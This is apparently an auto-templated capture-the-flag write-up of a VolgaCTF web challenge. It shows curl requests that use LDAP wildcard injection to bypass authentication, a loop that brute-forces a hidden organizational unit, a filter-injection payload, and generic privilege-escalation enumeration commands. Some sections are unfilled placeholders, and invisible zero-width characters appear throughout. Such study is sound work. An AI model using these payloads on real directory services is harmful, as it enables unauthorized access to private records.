← Back to Writeups
HTBN/AWeb

Directory

XESXOR8/23/20264 min read
#web#htb#n/a

Directory

Platform: Volgactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-28 | Status: Solved Techniques: auth_bypass_via_wildcard, hint_analysis, ldap_base_dn_manipulation, ldap_wildcard_injection, ou_brute_force

Summary

Task: Corporate directory service with LDAP backend and JWT auth — bypass authentication and find hidden data. Solution: LDAP wildcard injection in email/telephone fields to bypass auth, then brute-force organizational unit parameter to discover hidden OU containing the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: volgactf | ID: 20260328_volgactf_directory
  • Tags: flask, jwt, authentication_bypass, gunicorn, directory_enumeration, ldap_injection, openldap, ldap_wildcard, organizational_unit_enumeration
  • Indicators: LDAP backend behind web application, wildcard (*) accepted in some input fields but blocked in others, search filter constructed from user input, ou parameter used in LDAP base DN construction, JWT authentication with directory browsing
  • Source: 20260328_volgactf_directory.md

Foothold

Vulnerability / Misconfiguration

  1. Auth_bypass_via_wildcard
  2. Hint_analysis
  3. Ldap_base_dn_manipulation
  4. Ldap_wildcard_injection
  5. Ou_brute_force
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • auth_bypass_via_wildcard
  • hint_analysis
  • ldap_base_dn_manipulation
  • ldap_wildcard_injection
  • ou_brute_force
  • Tags: flask, jwt, authentication_bypass, gunicorn, directory_enumeration, ldap_injection, openldap, ldap_wildcard, organizational_unit_enumeration

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A corporate directory service web application. Bypass auth to get the flag.

Flask/Gunicorn web application backed by OpenLDAP. Three endpoints: /search (user lookup), /auth (JWT authentication requiring username + email + telephone), and /directory (browse departments with JWT). Goal: bypass authentication and find the flag hidden in the LDAP directory.

Analysis

Endpoint Discovery

The application exposes three main endpoints:

  • POST /search — Search users by username or email. Wildcards (*) blocked in username but allowed in email, revealing LDAP wildcard injection potential.
  • POST /auth — Authenticate with username, email, and telephone. Returns JWT token (HS256) on success.
  • GET /directory — Browse department directory by ou (organizational unit) and telephoneNumber parameters. Requires valid JWT. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Server headers: Server: gunicorn, Access-Control-Allow-Origin: *.

User Enumeration

Using /search with common usernames, two valid accounts were found:

  • admin — exists but disabled (auth always returns 403: "this account is disabled")
  • operator — exists and active

LDAP Filter Structure

The authentication likely constructs an LDAP search filter like:

(&(uid=USERNAME)(mail=EMAIL)(telephoneNumber=PHONE))

Since email and telephone fields accept wildcards, injecting * matches any value — effectively bypassing the need to know actual credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Hidden Organizational Unit

The /directory endpoint uses the ou parameter to construct the LDAP base DN:

ou=VALUE,dc=volgactf,dc=ru

Only users and staff OUs are advertised, but a hidden secret OU exists containing the flag.

Solution

Step 1: Enumerate Users via /search

# Wildcards blocked in username but allowed in email
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
  -H "Content-Type: application/json" \
  -d '{"username":"admin"}'
# → Found: admin exists
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
  -H "Content-Type: application/json" \
  -d '{"username":"operator"}'
# → Found: operator exists

Step 2: Bypass Authentication with LDAP Wildcard Injection

# Admin is disabled
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"*","telephone":"*"}'
# → 403: "this account is disabled"

# Operator works — wildcard injection bypasses credential check
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"operator","email":"*","telephone":"*"}'
# → 200: JWT token returned
# Hint: "Explore /directory to find more information. Departments: users, staff"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

JWT payload: {"uid":"operator","iat":...,"exp":...} (HS256 signed).

Step 3: Explore Known Departments

TOKEN="<jwt_token>"

# List users in 'users' department
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=users&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → jdoe, admin, asmith, operator

# List users in 'staff' department
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=staff&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → hr-anna, dev-ivan
# KEY HINT from hr-anna's description:
# "HR manager. Secrets are kept in a separate branch — ask the operator."

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Brute-Force Hidden Organizational Unit

The hint about "separate branch" suggests a hidden OU in the LDAP tree.

# Brute-force common OU names
for ou in secret secrets admin flag flags hidden private confidential restricted; do
  result=$(curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=$ou&telephoneNumber=*" \
    -H "Authorization: Bearer $TOKEN")
  echo "$ou: $result"
done
# → "secret" returns data!

Step 5: Retrieve the Flag

curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=secret&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → User "flag-keeper" with description containing the flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

  • LDAP injection in username — blocked by character validation (alphanumeric only)
  • JWT alg=none attack — rejected with "Invalid token"
  • JWT secret cracking — secret not in common wordlists
  • LDAP injection in telephoneNumber (e.g., *)(userPassword=*) — returned "No users found"
  • Authenticating as admin — account permanently disabled ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR